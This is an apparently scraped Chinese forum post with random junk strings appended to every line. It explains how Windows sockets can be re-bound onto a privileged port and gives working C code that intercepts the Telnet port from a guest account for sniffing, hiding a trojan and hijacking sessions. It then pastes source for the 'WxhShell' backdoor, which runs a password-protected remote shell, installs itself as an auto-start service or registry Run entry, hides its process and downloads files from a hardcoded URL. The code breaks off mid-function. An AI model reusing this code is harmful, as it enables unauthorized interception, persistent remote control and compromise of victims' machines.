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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fITml6mbE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C"}x=cK  
!l~hO  
  saddr.sin_family = AF_INET; 8Xr3q eh+  
Dj|S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (R, eWWF8~  
\yqiv"'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `'>>[*06:a  
#df43_u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /X?Nv^Hy  
Z`W.(gua  
  这意味着什么?意味着可以进行如下的攻击: buoz La  
b7n~z1$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sk5\"jna  
JsC0^A;fM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *,. {Xf  
4Vs;Y&t]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ka hv1s-  
?z6C8T~+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]8^2(^3ct  
XEuv aM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vf@/}=X *  
2#R"#Q!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FR <wp  
eZv0"FK X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t!k 0n&P  
9we=aX5  
  #include rEViw?^KT  
  #include Mf *qr9*  
  #include c]9OP9F  
  #include    1vThb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &qr7yyY  
  int main() oH;Y}h  
  { #\jPBLc  
  WORD wVersionRequested; H0Tt(:.&  
  DWORD ret; T&c[m!}X|t  
  WSADATA wsaData; 7+c@pEU]  
  BOOL val; r'8e"pTi  
  SOCKADDR_IN saddr; PyoLk  
  SOCKADDR_IN scaddr; 4e:hKv,+4  
  int err; qUo(hbp  
  SOCKET s; @ f$P*_G   
  SOCKET sc; B4b UcYk  
  int caddsize; czp5MU_^  
  HANDLE mt; QhZ%<zN  
  DWORD tid;   q"Xls(  
  wVersionRequested = MAKEWORD( 2, 2 ); CI,-q i  
  err = WSAStartup( wVersionRequested, &wsaData ); V;z?m)ur  
  if ( err != 0 ) { QK72 F  
  printf("error!WSAStartup failed!\n"); E )PEKWK\  
  return -1; %8ul}}d9  
  } !xlVyt5e  
  saddr.sin_family = AF_INET; ":Q70*xSm  
   Y5;:jYk#<_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QW!'A`*x  
Y8d%L;b[D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); { sZrI5   
  saddr.sin_port = htons(23); 0e:aeLh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G0^PnE0-  
  { -,rl[1ZYZ  
  printf("error!socket failed!\n"); PvM<#zq_  
  return -1; l})uYae/  
  } (d (whlF  
  val = TRUE; Ft]sTA+C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t;*'p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T}zi P  
  { .OjJK?  
  printf("error!setsockopt failed!\n"); w90y-^p%  
  return -1; 9KP+  
  } > 1r>cZn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -AbA6_j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  $% jV%k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lmod8B  
J/mLB7^R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;[|x5o /<  
  { B}3s=+L@8  
  ret=GetLastError(); fpzTv3D=I  
  printf("error!bind failed!\n"); Um|:AT}`^  
  return -1; 8g$ 8]'M^T  
  } \'p)kDf  
  listen(s,2); <}e<Zf!  
  while(1) OtC/)sX  
  { &r_:n t  
  caddsize = sizeof(scaddr); is6JS^Q  
  //接受连接请求 ZJx:?*0a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q8P;AN_JS  
  if(sc!=INVALID_SOCKET) !?KY;3L:  
  { x|Q6[Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y!SD^Ie7!  
  if(mt==NULL) Pukq{/27  
  { c,+oH<bZZs  
  printf("Thread Creat Failed!\n"); `T mIrc  
  break; wp@c;gK7  
  } t!K|3>w  
  } tV<A u  
  CloseHandle(mt); t!PFosFp  
  } 1e&`m~5K+  
  closesocket(s); h[ t OY  
  WSACleanup(); 8`im4.~#%  
  return 0; No[>1]ds  
  }   d+/d)cu  
  DWORD WINAPI ClientThread(LPVOID lpParam) amPQU  
  { upX/fL c  
  SOCKET ss = (SOCKET)lpParam; Sd{>(YWx~  
  SOCKET sc; SQEXC*08  
  unsigned char buf[4096]; Q.5a"(d@  
  SOCKADDR_IN saddr; ov|s5yH8e  
  long num; VJ wzYl   
  DWORD val; `]fY9ZDKs  
  DWORD ret; R=E )j^<F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~#g Vs*K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r<"1$K~Ka  
  saddr.sin_family = AF_INET; DB?[h<^m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ArF+9upGY  
  saddr.sin_port = htons(23); k6dSj>F>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }+u<^7$g|  
  { j| 257D  
  printf("error!socket failed!\n"); {6~W2zX&  
  return -1; f}@]dFr  
  } d`2VbZC`  
  val = 100; =!p6}5Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YWm:#{n.  
  { Ble <n6  
  ret = GetLastError(); h883pe=  
  return -1; Qx {/izc  
  } ptUnV3h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W/+|dN{O+g  
  { !QYqRH~ 5  
  ret = GetLastError(); N<?RN;M  
  return -1; 5 1 L:%Af  
  } br0gB3 r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {lqnn n3  
  { \b' <q  
  printf("error!socket connect failed!\n"); bZ0r/f,n$  
  closesocket(sc); c.NAUe_3  
  closesocket(ss); '!Q[+@$  
  return -1; 5<&<61[A  
  } 8p PAEf  
  while(1) qG~O] ($  
  { c1Dhx,]ad  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1z*]MYU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1z{Azp MZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )82x)c<e  
  num = recv(ss,buf,4096,0); n|{x\@VeF  
  if(num>0) |3vQmd !2}  
  send(sc,buf,num,0); * \f(E#wa  
  else if(num==0) ;@Ls "+g  
  break; uI+h9j$vS  
  num = recv(sc,buf,4096,0); ][D<J0  
  if(num>0) ZJd1Lx   
  send(ss,buf,num,0); k~:B3p  
  else if(num==0) 8_W<BXW  
  break; {L3lQ8Z  
  } jH \@Oc;7  
  closesocket(ss); <Y9ps`{}:  
  closesocket(sc); wxF9lZz  
  return 0 ; x"*u98&3  
  } z%]~^k8  
ZSHc@r*>  
17J|g.]m-&  
========================================================== o^gqpQv  
1)M3*h3  
下边附上一个代码,,WXhSHELL L{osh0  
sexnO^s  
========================================================== Av7bp[OD  
e>Is$+[`7  
#include "stdafx.h" }9{6{TD  
,sXa{U  
#include <stdio.h> <+C]^*j  
#include <string.h> k4s >sd3 5  
#include <windows.h> NaLec|6<t  
#include <winsock2.h> ~^:/t<N  
#include <winsvc.h> F@&q4whaVD  
#include <urlmon.h> IL`5RZi1  
>H[&Wa+_  
#pragma comment (lib, "Ws2_32.lib") u|B\@"0  
#pragma comment (lib, "urlmon.lib") \O`B@!da~  
hE+6z%A8  
#define MAX_USER   100 // 最大客户端连接数 %I[(`nb  
#define BUF_SOCK   200 // sock buffer .-fJ\`^mi  
#define KEY_BUFF   255 // 输入 buffer k$# @_  
#;>J<>  
#define REBOOT     0   // 重启 uB0/H=<H  
#define SHUTDOWN   1   // 关机 y~''r%]   
NSj}?hz  
#define DEF_PORT   5000 // 监听端口 g,mcxXO  
wbVM'E/&  
#define REG_LEN     16   // 注册表键长度 61b,+'-  
#define SVC_LEN     80   // NT服务名长度 MiAXbo#\  
eRv3qK{`  
// 从dll定义API 1z0&+C3z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YtE V8w_$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M'Q{2%:>a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7[^:[OEE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qFt%{~a S  
}yC ve  
// wxhshell配置信息 6D@tCmmq  
struct WSCFG { 'd(OFE-hn  
  int ws_port;         // 监听端口 KhYGiVA  
  char ws_passstr[REG_LEN]; // 口令 cBiv=!n  
  int ws_autoins;       // 安装标记, 1=yes 0=no On d"Eq=r  
  char ws_regname[REG_LEN]; // 注册表键名 R2Lq,(@-  
  char ws_svcname[REG_LEN]; // 服务名 9kWyO:a_(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,r+=>vre  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kjJ\7x6M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rN8 ZQiJC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '9]%#^[Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wlmi&kq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4f'WF5S/}8  
 \^w=T*  
}; +7^{T:^ht  
.0r5=  
// default Wxhshell configuration Y?R;Y:u3Z  
struct WSCFG wscfg={DEF_PORT, p;U[cGHC  
    "xuhuanlingzhe", ycIT=AFYqd  
    1, @| qnD  
    "Wxhshell", w[UPoG #Uh  
    "Wxhshell", coiTVDwA  
            "WxhShell Service", j"yL6Q9P  
    "Wrsky Windows CmdShell Service", Xo;J1H  
    "Please Input Your Password: ", [P`Q_L,+  
  1, #c./<<P5}  
  "http://www.wrsky.com/wxhshell.exe", _T<ney}Y<  
  "Wxhshell.exe" >5i1M^g(  
    }; WQ|d;[E  
lKxv SyD  
// 消息定义模块 hnmFhJ !g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fu(e4E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &l-g3l[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; = r_&R#~GT  
char *msg_ws_ext="\n\rExit."; :~{XL>:S  
char *msg_ws_end="\n\rQuit."; QaUh+k<6  
char *msg_ws_boot="\n\rReboot..."; &B/cy<;y,  
char *msg_ws_poff="\n\rShutdown..."; *<OWd'LI  
char *msg_ws_down="\n\rSave to "; w[n|Sauy,  
I7hPE7V+1  
char *msg_ws_err="\n\rErr!"; gXE'3  
char *msg_ws_ok="\n\rOK!"; > rB7ms/@E  
f8 B*D4R}  
char ExeFile[MAX_PATH]; XK{`x<  
int nUser = 0; [`yiD>  
HANDLE handles[MAX_USER]; vx5;}[Bhm  
int OsIsNt; o>\jc  
Qf$0^$ "  
SERVICE_STATUS       serviceStatus; _bMD|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7Z93`A-=  
67~m9pk  
// 函数声明 [yf2_{*0T  
int Install(void); 0@.$(Aqo(  
int Uninstall(void); ph<Z/wlz  
int DownloadFile(char *sURL, SOCKET wsh); l)Q,*i  
int Boot(int flag); bv)E>%Yy  
void HideProc(void); p}}}~ lC/  
int GetOsVer(void); _+T;4U' p  
int Wxhshell(SOCKET wsl); *;1G+Q#  
void TalkWithClient(void *cs); \#lh b  
int CmdShell(SOCKET sock); hUxpz:U*  
int StartFromService(void); cSnm\f  
int StartWxhshell(LPSTR lpCmdLine); k9w<0h3  
=uYSZR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6jO*rseC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d&n0:xOc  
+[zrU`!@  
// 数据结构和表定义 {Ejv8UdA9  
SERVICE_TABLE_ENTRY DispatchTable[] = Z8}Zhe.  
{ ACU0  
{wscfg.ws_svcname, NTServiceMain}, `Btdp:j8i  
{NULL, NULL} EN+WEMro  
}; ;#G>qo  
rM2?"  
// 自我安装 Go^W\y   
int Install(void) !-|&  
{  d9R0P2  
  char svExeFile[MAX_PATH]; yaa+j8s]  
  HKEY key; =9LC "eI&|  
  strcpy(svExeFile,ExeFile); \V7Hi\)  
3`5?Zgp  
// 如果是win9x系统,修改注册表设为自启动 3 B KW  
if(!OsIsNt) { Ad+-/hxc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bsR^H5O@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VVYQIR]!yk  
  RegCloseKey(key); @433?g`2b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @j9yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z@RAdwjR`p  
  RegCloseKey(key); 'lHtz ~[  
  return 0; svU107?  
    } +O*S>0  
  } i5(_.1X<#{  
} t8U)za  
else { TEE$1RxV(  
E"x 2jP  
// 如果是NT以上系统,安装为系统服务 ;TEZD70r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YEXJ h!X  
if (schSCManager!=0) 9 /t}S6b{  
{ 66[yL(*+  
  SC_HANDLE schService = CreateService H \.EK Z  
  ( 0;!aO.l]K  
  schSCManager, tZk@ RX  
  wscfg.ws_svcname, (=)+as"u9*  
  wscfg.ws_svcdisp, >M[rOu (d  
  SERVICE_ALL_ACCESS, U@BVVH?,o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IgLP=mqcWK  
  SERVICE_AUTO_START, gA`/t e  
  SERVICE_ERROR_NORMAL, ?F(t`0=  
  svExeFile, MP w@O0QS  
  NULL, >Cb% `pe  
  NULL, 8T&m{s  
  NULL, )fA9,yNJ3  
  NULL, -+'{C =  
  NULL tqmM7$}}P  
  ); s%H5Qa+Uh  
  if (schService!=0) *NFy%ktu  
  { vJtQ&,zG  
  CloseServiceHandle(schService); VE wv22'  
  CloseServiceHandle(schSCManager); x1|5q/I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oQjh?vm  
  strcat(svExeFile,wscfg.ws_svcname); v)%EG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RVXRF_I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C3G?dZKv2  
  RegCloseKey(key); 8ftLYMX@  
  return 0; rQ30)5^V|  
    } :* /<eT_  
  } gG*O&gQY  
  CloseServiceHandle(schSCManager); p!hewtb5  
} 1[} =,uaM  
} nO\|43W  
DS=kSkW^&5  
return 1; ~ Y4H)r  
} h:a5FK@  
8p-5.GU)<e  
// 自我卸载 R+]Fh4t  
int Uninstall(void) P-7!\[];te  
{ !CPv{c`|qg  
  HKEY key; v$+G_@  
p#^L ZX  
if(!OsIsNt) { qVZ=:D{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wrK$ZO]  
  RegDeleteValue(key,wscfg.ws_regname); H1s{JJAM>i  
  RegCloseKey(key); )WwysGkqol  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eq(|%]a=  
  RegDeleteValue(key,wscfg.ws_regname); |>j=#2  
  RegCloseKey(key); 4{}u PbS  
  return 0; NO`LSF  
  } tN3Xn]   
} iBV*GW  
} [9'5+RXw3  
else { Dr7,>Yx  
v;JY;Uh|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m-, '  
if (schSCManager!=0) Z !wDh_  
{ ##}a0\x|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d0MX4bhZ  
  if (schService!=0) j 9y,UT  
  { ugVsp&i#  
  if(DeleteService(schService)!=0) { w{I60|C]*  
  CloseServiceHandle(schService); Q]{DhDz ?+  
  CloseServiceHandle(schSCManager); 7yeZ+lD  
  return 0; iMk`t:!;#"  
  } k8Qv>z  
  CloseServiceHandle(schService); v:JFUn}  
  } \@MGO aR]  
  CloseServiceHandle(schSCManager); T_5 E  
} K 2LLuS!  
} dWI/X  
4w2V["?X1  
return 1; f>#\'+l'  
} A5ktbj&gy<  
>+#TsX{  
// 从指定url下载文件 N^%[ B9D  
int DownloadFile(char *sURL, SOCKET wsh) b.8HGt<%  
{ hL67g  
  HRESULT hr; ZS^EKz~+  
char seps[]= "/"; ?uk|x!Ko]  
char *token; b]hRmW  
char *file; l*B;/ >nR  
char myURL[MAX_PATH]; 'G@Npp)&^  
char myFILE[MAX_PATH]; h,TDNR<1L  
|PI.xl:ch  
strcpy(myURL,sURL); +:/`&LOS-  
  token=strtok(myURL,seps); '9{H(DA  
  while(token!=NULL) JeWW~y`e?{  
  { d!Y,i!l!  
    file=token; C\$7C5/  
  token=strtok(NULL,seps); IB(IiF5  
  } AGLzA+6M  
NawnC!~ $  
GetCurrentDirectory(MAX_PATH,myFILE); dkG-Yz~  
strcat(myFILE, "\\"); ,i>5\Yl%  
strcat(myFILE, file); 8QFY:.h&  
  send(wsh,myFILE,strlen(myFILE),0); B7?784{x,  
send(wsh,"...",3,0); V9B $_j4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6l:CDPhR  
  if(hr==S_OK) \DeZY97p%  
return 0; tnRq?  
else P/M*XUG.  
return 1; wQPjo!FEX  
[#lPT'l  
} DFE?H  
@@SG0YxZ  
// 系统电源模块 A' dt WD  
int Boot(int flag) WdunI~&.  
{ rh$%*l  
  HANDLE hToken; dYf Vox;  
  TOKEN_PRIVILEGES tkp; ]7h&ZF  
A n/)|B4  
  if(OsIsNt) { ZLE4 XB]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s49 AF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w y:USS?  
    tkp.PrivilegeCount = 1; pBK[j ([  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L_ 8C=MS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5#QB&A>  
if(flag==REBOOT) { 4V43(G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0BxO75m}o  
  return 0; 0fi+tc 30  
} !. q*bY  
else { s7a\L=#p(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DX4 95<6*  
  return 0; = 1`  
} k9yA#  
  } O?8G  
  else { xV<NeU  
if(flag==REBOOT) { :t\PYDp1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J]fjg%C2m  
  return 0; K<Iz5+oD  
} :rk]o*  
else { q;>'jHh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g>VkQos5"  
  return 0; `P : -a7_  
} m(*CuM[E  
} (doFYF~w  
G>*s+  
return 1; ywi Shvi8  
} i]9SCO  
Hr96sN.R   
// win9x进程隐藏模块  "}Ya.  
void HideProc(void) h r*KDT^!  
{ e:NzpzI"v  
XXxX;xz$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qI5/ME(}  
  if ( hKernel != NULL ) -!wm]kx f  
  { { #>@h7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lt}|Y9h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G ^r^" j  
    FreeLibrary(hKernel); LB2 2doW  
  } 4i/TEHQ  
[S3X  
return; Fv#ToT:QXe  
} {%UY1n  
(_U&EX%  
// 获取操作系统版本 )Bd+jli|s  
int GetOsVer(void) QJOP*<O  
{ G} }oeS  
  OSVERSIONINFO winfo; >Pbd#*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (W*yF2r  
  GetVersionEx(&winfo); o7]h;Zg5r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w;>]L.n  
  return 1; JGH9b!}-1  
  else X$PT-~!a  
  return 0; u8-)LOf(  
} <t]i' D(K  
7&m*: J  
// 客户端句柄模块 >UR-37g{p  
int Wxhshell(SOCKET wsl) "qQU ^FW  
{ aViJ?*  
  SOCKET wsh; h1JG^w$ 5  
  struct sockaddr_in client; ed>_=i  
  DWORD myID; <J?i+b  
G8akMd]2  
  while(nUser<MAX_USER) }JrM!'  
{ F}i rCi47c  
  int nSize=sizeof(client); ]O&TU X@)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qX-Jpi P  
  if(wsh==INVALID_SOCKET) return 1; 4/Ok/I  
%# J8cB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RQ}x7< /{  
if(handles[nUser]==0) ;) (qRZd6  
  closesocket(wsh); qXP)R/~OZ  
else UmInAH4  
  nUser++; R1J"QU  
  } 0&-!v?6 )  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e J2[=L'  
SQa.xLU  
  return 0; bpKMQrwd  
} 1sn!!  
v_)cp9d]  
// 关闭 socket 6mMJ$FY+  
void CloseIt(SOCKET wsh) &e3z)h  
{ oaRPYgh4  
closesocket(wsh); KJcdX9x  
nUser--; B'atwgI0  
ExitThread(0); 9r\8  !R  
} j!m~ :D  
URJ"  
// 客户端请求句柄 LNk 3=v2M  
void TalkWithClient(void *cs) 1pO ;aG1O  
{ q:1 1XPP  
6t/})Xv  
  SOCKET wsh=(SOCKET)cs; E(]yjZ/  
  char pwd[SVC_LEN]; IO]Oo3  
  char cmd[KEY_BUFF]; ckN/_ u3  
char chr[1]; LF*3Iw|v  
int i,j; BniFEW:<  
<m UDx n  
  while (nUser < MAX_USER) { z9;vE7n!  
P]r"E  
if(wscfg.ws_passstr) { zXUE<\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *b7 HtUA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R0*DfJS:Z  
  //ZeroMemory(pwd,KEY_BUFF); uTB; Bva  
      i=0; @RbAC*Y]g  
  while(i<SVC_LEN) { ~~ )&? \N  
>,hJ5-9  
  // 设置超时 XD%?'uUQ_  
  fd_set FdRead; HRx#}hN?+  
  struct timeval TimeOut; ;#fB=[vl";  
  FD_ZERO(&FdRead); gEU)UIJ  
  FD_SET(wsh,&FdRead); 6sB!m|zm]:  
  TimeOut.tv_sec=8; pN4!*7M  
  TimeOut.tv_usec=0; "%A[%7LY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3]xnKb|W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,ulNap"R  
&WvJg#f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '#u2q=n4*  
  pwd=chr[0]; PX2Ejrwj  
  if(chr[0]==0xd || chr[0]==0xa) { f_.1)O'83  
  pwd=0; N]+x@M @^3  
  break; #Yj0'bgK  
  } Q7c_;z_  
  i++; =p&6A^  
    } Er{[83  
CdTmL{Y1  
  // 如果是非法用户,关闭 socket `2r21rVntf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t$Irr*  
} B>a`mFM  
R>pa? tQgK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \EB]J\ x<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h`3;^T  
)-9|3`  
while(1) { uVOpg]8d  
ZpI_/  
  ZeroMemory(cmd,KEY_BUFF); R&PQ[Xc  
a7#Eyw^H{  
      // 自动支持客户端 telnet标准   Hvor{o5|tB  
  j=0; \ov>?5  
  while(j<KEY_BUFF) { _eO+O=j_x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;J?^M!l2=  
  cmd[j]=chr[0]; Zd~s5  
  if(chr[0]==0xa || chr[0]==0xd) { l*%voKZG  
  cmd[j]=0; 4Z]^v4vb  
  break; '*-X 3p  
  } b;!ilBc  
  j++; S$muV9z2=  
    } mpr["C"l  
s8eiq`6\H}  
  // 下载文件 r<C^hs&]  
  if(strstr(cmd,"http://")) { o~es> ;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :MJBbrV ,  
  if(DownloadFile(cmd,wsh)) / HaS.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <JZ=K5  
  else L=HL1Qe$G]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6t# ?Dkc'  
  } Z.<1,EKi=  
  else { z^B!-FcIz>  
+H ="5uO<  
    switch(cmd[0]) { V!FzVl=G  
  ]p0m6}B  
  // 帮助 2px5>4<  
  case '?': { >|z=-hqPK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #/1A:ig  
    break; o/=K:5  
  } Txoc  
  // 安装 ?{{E/J:%  
  case 'i': { X]y3~|K  
    if(Install()) rM>&! ?y+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @X\nY</E#M  
    else ?kS5=&<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hb? |fi  
    break; _MMz x2}  
    } YT&_{nL#\  
  // 卸载 $V5Ol6@ 2  
  case 'r': { UbQeN  
    if(Uninstall()) WWE?U-o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vO4 &ZQ>6  
    else kO2im+y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQ"ZQ  
    break; dWm[#,Q?  
    } !4oYQB  
  // 显示 wxhshell 所在路径 #axRg=d?K  
  case 'p': { {bc<0  
    char svExeFile[MAX_PATH]; cRU.   
    strcpy(svExeFile,"\n\r"); ]/d2*#  
      strcat(svExeFile,ExeFile); Th,2gX9  
        send(wsh,svExeFile,strlen(svExeFile),0); UI;!_C_  
    break; ,&)XhO?  
    } = b)q.2'#  
  // 重启 Pv0OoN*eJ{  
  case 'b': { |c >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &BE[=& |  
    if(Boot(REBOOT)) s|{K?s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_|WberU  
    else { iZ_R oJ  
    closesocket(wsh); V?Nl%M[b  
    ExitThread(0); ;\#u19  
    } QMfYM~o  
    break; QAb[M\G  
    } ^OA}#k NTW  
  // 关机 *xLMs(gg  
  case 'd': { zlFl{t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bq:@ [pCQ  
